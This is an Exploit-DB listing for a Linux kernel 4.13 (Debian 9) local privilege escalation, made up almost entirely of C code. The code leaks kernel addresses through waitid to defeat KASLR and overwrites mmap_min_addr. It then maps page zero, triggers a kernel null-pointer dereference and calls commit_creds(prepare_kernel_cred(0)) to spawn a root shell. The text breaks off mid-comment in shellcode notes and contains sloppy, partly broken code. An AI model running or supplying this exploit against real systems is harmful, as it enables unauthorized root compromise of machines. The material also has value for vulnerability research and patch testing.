Exploit-DB #44303
Description: Linux Kernel 4.13 (Debian 9) - Local Privilege Escalation
Type: local
Platform: linux
Date: 2017-12-11
Author: anonymous

Exploit:
/** disable_map_min_add.c **/
/*
 *
 */

#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/resource.h>
#include <syscall.h>

/* offsets might differ, kernel was custom compiled
 * you can read vmlinux and caculate the offset when testing
 */

/*
#define OFFSET_KERNEL_BASE 0x000000
 */
#define MMAP_MIN_ADDR 0x1101de8
#define DAC_MMAP_MIN_ADDR 0xe8e810

/* get kernel functions address by reading /proc/kallsyms */
unsigned long get_kernel_sym(char *name)
{
  FILE *f;
  unsigned long addr;
  char dummy;
  char sname[256];
  int ret = 0;

  f = fopen("/proc/kallsyms", "r");
  if (f == NULL) {
    printf("[-] Failed to open /proc/kallsyms\n");
    exit(-1);
  }
  printf("[+] Find %s...\n", name);
  while(ret != EOF) {
    ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
    if (ret == 0) {
      fscanf(f, "%s\n", sname);
      continue;
    }
    if (!strcmp(name, sname)) {
      fclose(f);
      printf("[+] Found %s at %lx\n", name, addr);
      return addr;
    }
  }
  fclose(f);
  return 0;
}

int main(void)
{
  int pid, pid2, pid3;
  struct rusage rusage = { };
  unsigned long *p, *kernel_base;
  char *mmap_min_addr, *dac_mmap_min_addr;
  pid = fork();
  if (pid > 0) {
    /* try to bypass kaslr when /proc/kallsyms isn't readable */
    syscall(__NR_waitid, P_PID, pid, NULL, WEXITED|WNOHANG|__WNOTHREAD, &rusage);
    printf("[+] Leak size=%d bytes\n", sizeof(rusage));
    for (p = (unsigned long *)&rusage;
	 p < (unsigned long *)((char *)&rusage + sizeof(rusage));
	 p++) {
      printf("[+] Leak point: %p\n", p);
      if (*p > 0xffffffff00000000 && *p < 0xffffffffff000000) {
	p = (unsigned long *)(*p&0xffffffffff000000 /*+ OFFSET_TO_BASE*/); // spender's wouldn't actually work when KASLR was enabled
	break;
      }
    }
    if(p < (unsigned long *)0xffffffff00000000 || p > (unsigned long *)0xffffffffff000000)
      exit(-1);
  } else if (pid == 0) {
    sleep(1);
    exit(0);
  }

  kernel_base = get_kernel_sym("startup_64");
  printf("[+] Got kernel base: %p\n", kernel_base);
  mmap_min_addr = (char *)kernel_base + MMAP_MIN_ADDR;
  printf("[+] Got mmap_min_addr: %p\n", mmap_min_addr);
  dac_mmap_min_addr = (char *)kernel_base + DAC_MMAP_MIN_ADDR;
  printf("[+] Got dac_mmap_min_addr: %p\n", dac_mmap_min_addr);
  
  pid2 = fork();
  if (pid2 > 0) {
    printf("[+] Overwriting map_min_addr...\n");
    if (syscall(__NR_waitid, P_PID, pid, (siginfo_t *)(mmap_min_addr - 2), WEXITED|WNOHANG|__WNOTHREAD, NULL) < 0) {
      printf("[-] Failed!\n");
      exit(1);
    }
  } else if (pid2 == 0) {
    sleep(1);
    exit(0);
  }
  
  pid3 = fork();
  if (pid3 > 0) {
    printf("[+] Overwriting dac_mmap_min_addr...\n");
    if (syscall(__NR_waitid, P_PID, pid, (siginfo_t *)(dac_mmap_min_addr - 2), WEXITED|WNOHANG|__WNOTHREAD, NULL) < 0) {
      printf("[-] Failed!\n");
      exit(1);
    }
    printf("[+] map_min_addr disabled!\n");
    exit(0);
  } else if (pid3 == 0) {
    sleep(1);
    exit(0);
  }
  return 0;
}
/** disable_map_min_add.c EOF **/

/** null_poiter_exploit.c **/

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
#include <unistd.h>
#include <fcntl.h>

struct cred;
struct task_struct;

typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));

prepare_kernel_cred_t   prepare_kernel_cred;
commit_creds_t    commit_creds;

/* a kernel null pointer derefence will help get privilege
 * /proc/test is a kernel-load module create for testing
 * touch_null_kp can be replace your own implement to
 * touch a kernel null ponit
 */
void touch_null_kp()  {
    printf("[+]Start touch kernel null point\n");

    int *f = open("/proc/test", O_RDONLY);
    read(f, NULL, 0);
}

/* run shell after root */
void get_shell() {
  char *argv[] = {"/bin/sh", NULL};

  if (getuid() == 0){
    printf("[+] Root shell success !! :)\n");
    execve("/bin/sh", argv, NULL);
  }
  printf("[-] failed to get root shell :(\n");
}

/* use for privilige escalation */
void get_root() {
    commit_creds(prepare_kernel_cred(0));
}

/* get function address by reading /proc/kallsyms */
unsigned long get_kernel_sym(char *name)
{
  FILE *f;
  unsigned long addr;
  char dummy;
  char sname[256];
  int ret = 0;

  f = fopen("/proc/kallsyms", "r");
  if (f == NULL) {
    printf("[-] Failed to open /proc/kallsyms\n");
    exit(-1);
  }
  printf("[+] Find %s...\n", name);
  while(ret != EOF) {
    ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
    if (ret == 0) {
      fscanf(f, "%s\n", sname);
      continue;
    }
    if (!strcmp(name, sname)) {
      fclose(f);
      printf("[+] Found %s at %lx\n", name, addr);
      return addr;
    }
  }
  fclose(f);
  return 0;
}

int main(int ac, char **av)
{

  /* get function address */
  prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred");
  commit_creds = (commit_creds_t)get_kernel_sym("commit_creds");
  printf("Got commit_creds:%p,prepare_kernel_cred%p\n", commit_creds, prepare_kernel_cred);

  /* allocate memory loacate in 0x00 */
  printf("[+] Try to allocat 0x00000000...\n");
  if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){
    printf("[-] Failed to allocat 0x00000000\n");
    return -1;
  }
  printf("[+] Allocation success !\n");
  /* memset(0, 0xcc, 4096); */
  /*
    //movq rax, 0xffffffff81f3f45a
    //movq [rax], 0
    // it is not nessecc
    mov rax, 0x[PII_REDACTED]424242
    call rax
    xor rax, rax
    ret
    replace 0x424